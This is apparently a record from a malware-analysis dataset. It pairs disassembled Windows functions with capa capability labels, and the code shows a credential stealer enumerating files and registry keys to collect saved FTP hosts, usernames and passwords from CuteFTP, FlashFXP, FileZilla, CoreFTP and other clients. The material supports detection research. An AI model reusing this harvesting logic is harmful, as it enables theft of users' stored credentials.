joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404e73
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x404e92
cmp byte [eax], 0
jne 0x404e97
jmp 0x404ff0
push dword [ebp + 0xc]
call fcn.004025a9
or eax, eax
jne 0x404eb2
push str..
push dword [ebp + 0xc]
call fcn.00401df8
jmp 0x404ebf
push 0x414f8e
push dword [ebp + 0xc]
call fcn.00401df8
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x404ff0
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x404f68
lea eax, [edx + 0x2c]
push eax
push 0x414f84
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x404f1a
jmp 0x404fcb
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414f86
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x404f37
jmp 0x404fcb
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
lea edx, [ebp - 0x13e]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401e4c
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00404e73
call fcn.004018b8
jmp 0x404fcb
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x415197
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
or eax, eax
je 0x404fcb
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push dword [ebp - 0x14c]
push eax
call fcn.00401e4c
push eax
push eax
cmp dword [ebp + 0x10], 0
je 0x404fb3
push str.Sites_
push eax
call sub.shlwapi.dll_StrStrIA
jmp 0x404fb8
mov eax, 1
pop edx
or eax, eax
je 0x404fc6
push edx
push dword [ebp + 8]
call fcn.00404e5c
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x404ef5
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 0xc
Function at 0x4051e3
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
or eax, eax
je 0x405202
cmp byte [eax], 0
jne 0x405207
jmp 0x40530b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401df8
push eax
push eax
push dword [ebp + 8]
call fcn.00405182
call fcn.004018b8
push str..
push dword [ebp + 0xc]
call fcn.00401df8
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x13e]
push eax
call fcn.004018e6
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x40530b
lea edx, [ebp - 0x13e]
test dword [edx], 0x10
je 0x4052e6
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414f84
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40528c
jmp 0x4052e6
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
push eax
push 0x414f86
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x4052a6
jmp 0x4052e6
lea edx, [ebp - 0x13e]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push dword [ebp - 0x14c]
push eax
call fcn.00401e4c
push dword [ebp + 0x10]
push eax
call fcn.00401e4c
push eax
push eax
push dword [ebp + 8]
call fcn.00405182
call fcn.004018b8
lea eax, [ebp - 0x13e]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x405264
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.004018b8
leave
ret 0xc

Function at 0x40531a
Capabilities:
Gather cuteftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401eb1
mov dword [ebp - 4], eax
or eax, eax
je 0x4053bf
push str.GlobalSCAPECuteFTP
push dword [ebp - 4]
call fcn.00401df8
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.004051e3
call fcn.004018b8
push str.GlobalSCAPECuteFTP_Pro
push dword [ebp - 4]
call fcn.00401df8
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.004051e3
call fcn.004018b8
push str.GlobalSCAPECuteFTP_Lite
push dword [ebp - 4]
call fcn.00401df8
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.004051e3
call fcn.004018b8
push str.CuteFTP
push dword [ebp - 4]
call fcn.00401df8
push eax
push str._sm.dat
push eax
push dword [ebp + 8]
call fcn.004051e3
call fcn.004018b8
push dword [ebp - 4]
call fcn.004018b8
leave
ret 8

Function at 0x4054c8
Capabilities:
Gather flashfxp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401d71
or eax, eax
je 0x40553e
mov dword [ebp - 4], eax
push str.Sites.dat
push dword [ebp - 4]
call fcn.00401df8
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.004054a5
push str.Quick.dat
push dword [ebp - 4]
call fcn.00401df8
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.004054a5
push 0x4153c4
push dword [ebp - 4]
call fcn.00401df8
push 0xbeef0002
push eax
push dword [ebp + 8]
call fcn.004054a5
push dword [ebp - 4]
call fcn.004018b8
leave
ret 0x10
Function at 0x40558d
Capabilities:
Gather flashfxp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401eb1
or eax, eax
je 0x4055e9
mov dword [ebp - 4], eax
push 0xbeef0000
push str.Sites.dat
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00405542
push 0xbeef0001
push str.Quick.dat
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00405542
push 0xbeef0002
push 0x4153c4
push dword [ebp - 4]
push dword [ebp + 8]
call fcn.00405542
push dword [ebp - 4]
call fcn.004018b8
leave
ret 8

Function at 0x4059a4
Capabilities:
Gather filezilla information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push 0xbeef0013
push str.Server_Type
push 0x415474
push 0x41546f
push 0x415465
push 0x415460
push 0x41546a
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405844
push 0xbeef0013
push 0x4154c0
push 0x4154bb
push str.Server.Port
push str.Server.User
push str.Server.Host
push str.Server.Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405844
push 0xbeef0014
push str.Last_Server_Type
push str.Last_Server_Path
push str.Last_Server_Port
push str.Last_Server_User
push str.Last_Server_Host
push str.Last_Server_Pass
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405844
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x405ac7
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x405a7f
jmp 0x405abf
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e4c
mov dword [ebp - 0x810], eax
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004059a4
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x405a54
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x405f4c
Capabilities:
Gather ffftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x406147
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x405fa4
jmp 0x40613f
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x415726
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push str.HostAdrs
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push 0x41572f
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDir
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x828]
push eax
push 0x41574b
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
or eax, eax
je 0x40607e
cmp dword [ebp - 0x828], 4
jne 0x40607e
push dword [eax]
pop dword [ebp - 0x824]
push eax
call fcn.004018b8
jmp 0x406092
or eax, eax
je 0x406088
push eax
call fcn.004018b8
mov dword [ebp - 0x824], 0x15
cmp dword [ebp - 0x81c], 0
je 0x406100
cmp dword [ebp - 0x814], 0
je 0x406100
cmp dword [ebp - 0x818], 0
je 0x406100
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x820]
call fcn.004018b8
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x405f76
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x4061e4
Capabilities:
Gather direct-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x4063c8
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x40623c
jmp 0x4063c0
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x415767
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push 0x415750
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push 0x415759
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x820], eax
push 0
push 0x41575e
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x818], eax
push 0
push str.HostDirName
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x81c], 0
je 0x406368
cmp dword [ebp - 0x814], 0
je 0x406368
cmp dword [ebp - 0x818], 0
je 0x406368
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x820]
call fcn.004018b8
push dword [ebp - 0x824]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004061e4
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x40620e
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x4063fd
Capabilities:
Gather coreftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40665a
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x406455
jmp 0x406652
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e4c
mov dword [ebp - 0x810], eax
push 0
push 0x4157d8
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push 0x4157c9
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push 0x4157ce
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x818], eax
push 0
push str.PthR
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x82c]
push eax
push 0x4157d3
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
or eax, eax
je 0x406529
cmp dword [ebp - 0x82c], 4
jne 0x406529
push dword [eax]
pop dword [ebp - 0x824]
push eax
call fcn.004018b8
jmp 0x40653d
or eax, eax
je 0x406533
push eax
call fcn.004018b8
mov dword [ebp - 0x824], 0x15
lea eax, [ebp - 0x830]
push eax
push 0x4157e0
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x81c], 0
je 0x406608
cmp dword [ebp - 0x814], 0
je 0x406608
cmp dword [ebp - 0x818], 0
je 0x406608
push 0xbeef0010
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004015cb
cmp dword [ebp - 0x828], 0
je 0x4065fe
cmp dword [ebp - 0x830], 4
jne 0x4065fe
mov eax, dword [ebp - 0x828]
push dword [eax]
push dword [ebp + 8]
call fcn.00401569
jmp 0x406608
push 0
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x820]
call fcn.004018b8
push dword [ebp - 0x828]
call fcn.004018b8
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x406427
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40668f
Capabilities:
Gather ftp-explorer information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7cc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x406911
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4066e7
jmp 0x406909
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e4c
mov dword [ebp - 0x810], eax
lea eax, [ebp - 0x834]
push eax
push 0x415862
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push 0x415878
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push str.Login
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x818], eax
push 0
push str.InitialPath
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x828]
push eax
push 0x415883
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
or eax, eax
je 0x4067ba
cmp dword [ebp - 0x828], 4
jne 0x4067ba
push dword [eax]
pop dword [ebp - 0x824]
jmp 0x4067c4
mov dword [ebp - 0x824], 0x15
push eax
call fcn.004018b8
lea eax, [ebp - 0x830]
push eax
push str.PasswordType
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
or eax, eax
je 0x4067fe
cmp dword [ebp - 0x830], 4
jne 0x4067fe
push dword [eax]
pop dword [ebp - 0x82c]
jmp 0x406808
mov dword [ebp - 0x82c], 0
push eax
call fcn.004018b8
cmp dword [ebp - 0x81c], 0
je 0x406856
cmp dword [ebp - 0x82c], 2
jne 0x406856
push 0
lea eax, [ebp - 0x834]
push eax
push dword [ebp - 0x81c]
call fcn.004043dc
or eax, eax
je 0x406841
cmp dword [ebp - 0x834], 0
jne 0x406856
push dword [ebp - 0x81c]
call fcn.004018b8
mov dword [ebp - 0x81c], 0
cmp dword [ebp - 0x81c], 0
je 0x4068ca
cmp dword [ebp - 0x814], 0
je 0x4068ca
cmp dword [ebp - 0x818], 0
je 0x4068ca
push 0xbeef0002
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x834]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.0040159f
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x820]
call fcn.004018b8
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x4066b9
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x406b1b
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x406cdf
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x406b73
jmp 0x406cd7
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x415932
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push 0x415922
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push 0x415929
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.FtpPort
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
or eax, eax
je 0x406c2f
cmp dword [ebp - 0x824], 4
jne 0x406c2f
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.004018b8
jmp 0x406c43
or eax, eax
je 0x406c39
push eax
call fcn.004018b8
mov dword [ebp - 0x820], 0x15
cmp dword [ebp - 0x81c], 0
je 0x406ca3
cmp dword [ebp - 0x814], 0
je 0x406ca3
cmp dword [ebp - 0x818], 0
je 0x406ca3
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x406b45
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x406d4f
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x414869]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x406f3f
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x406da7
jmp 0x406f37
push 0x414845
push dword [ebp + 0xc]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
lea eax, [ebp - 0x828]
push eax
push 0x41598b
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push str.Hostname
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push str.Username
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push 0x415994
push dword [ebp - 0x810]
push dword [0x414869]
call fcn.00401d71
or eax, eax
je 0x406e68
cmp dword [ebp - 0x824], 4
jne 0x406e68
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.004018b8
jmp 0x406e7c
or eax, eax
je 0x406e72
push eax
call fcn.004018b8
mov dword [ebp - 0x820], 0x15
cmp dword [ebp - 0x81c], 0
je 0x406f03
cmp dword [ebp - 0x814], 0
je 0x406f03
cmp dword [ebp - 0x818], 0
je 0x406f03
push 0
lea eax, [ebp - 0x828]
push eax
push dword [ebp - 0x81c]
call fcn.004043dc
or eax, eax
je 0x406f03
cmp dword [ebp - 0x828], 0
je 0x406f03
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x828]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.0040159f
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x406d79
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40717c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x40735a
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
or eax, eax
je 0x4071d1
jmp 0x407352
push 0x414845
push dword [ebp + 0x10]
call fcn.00401df8
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401df8
mov dword [ebp - 0x810], eax
call fcn.004018b8
push 0
push 0x415a13
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x81c], eax
push 0
push str._Password
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x820], eax
push 0
push str.Server
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x814], eax
push 0
push 0x415a0a
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x818], eax
push 0
push str.Directory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401d71
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x81c], 0
jne 0x407292
cmp dword [ebp - 0x820], 0
je 0x4072f7
cmp dword [ebp - 0x814], 0
je 0x4072f7
cmp dword [ebp - 0x818], 0
je 0x4072f7
push 0xbeef0000
push dword [ebp + 8]
call fcn.00401569
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015cb
push dword [ebp - 0x81c]
call fcn.004018b8
push dword [ebp - 0x820]
call fcn.004018b8
push dword [ebp - 0x814]
call fcn.004018b8
push dword [ebp - 0x818]
call fcn.004018b8
push dword [ebp - 0x824]
call fcn.004018b8
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040717c
push dword [ebp - 0x810]
call fcn.004018b8
inc dword [ebp - 8]
jmp 0x4071a3
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc